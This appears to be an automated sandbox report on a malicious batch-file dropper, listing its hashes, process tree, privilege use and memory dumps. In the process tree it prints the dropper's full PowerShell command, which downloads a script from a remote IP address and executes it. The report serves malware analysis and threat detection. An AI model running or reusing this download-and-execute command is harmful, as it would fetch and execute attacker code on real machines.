94d5147f9349eb4d28ca422092c7f0d81b4085c4ca82d9a88e465ae8d38edea0

Analysis

Target

f4bc334e44b117b825bf6ea74bf8306a.bat
Size

213B
MD5

77b3d11eb5df3e1e5555caf2db33be1c
SHA1

1e66e03c4214e808d5d4b796d372938862be3cbd
SHA256

94d5147f9349eb4d28ca422092c7f0d81b4085c4ca82d9a88e465ae8d38edea0
SHA512

dba1003d91200c9f488ecf18ef70bd5177914c9a69d811185bcff4a7e0512419db4a7698cfc1a8618677c12d8f8d9b5322102e4bf8898a2c5314d48e34da7606

Score

10^/10

Language

ps1

Source

URLs

ps1.dropper

http://185.103.242.78/pastes/f4bc334e44b117b825bf6ea74bf8306a

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3900 3924 WerFault.exe powershell.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

WerFault.exe

description pid process

Token: SeRestorePrivilege 3900 WerFault.exe
Token: SeBackupPrivilege 3900 WerFault.exe
Token: SeDebugPrivilege 3900 WerFault.exe

pid	pid_target	process	target process
3900	3924	WerFault.exe	powershell.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

Processes:

WerFault.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 3788 wrote to memory of 3924	3788	cmd.exe	powershell.exe
PID 3788 wrote to memory of 3924	3788	cmd.exe	powershell.exe
PID 3788 wrote to memory of 3924	3788	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\f4bc334e44b117b825bf6ea74bf8306a.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/f4bc334e44b117b825bf6ea74bf8306a');Invoke-NQONAR;Start-Sleep -s 10000"
2⤵
PID:3924

memory/3900-1-0x0000000004FB0000-0x0000000004FB1000-memory.dmp

Filesize
4KB

Download
memory/3900-8-0x00000000056E0000-0x00000000056E1000-memory.dmp

Filesize
4KB

Download
memory/3924-0-0x0000000000000000-mapping.dmp

Download
memory/3924-2-0x0000000000000000-mapping.dmp

Download
memory/3924-3-0x0000000000000000-mapping.dmp

Download
memory/3924-5-0x0000000000000000-mapping.dmp

Download
memory/3924-4-0x0000000000000000-mapping.dmp

Download
memory/3924-6-0x0000000000000000-mapping.dmp

Download
memory/3924-7-0x0000000000000000-mapping.dmp

Download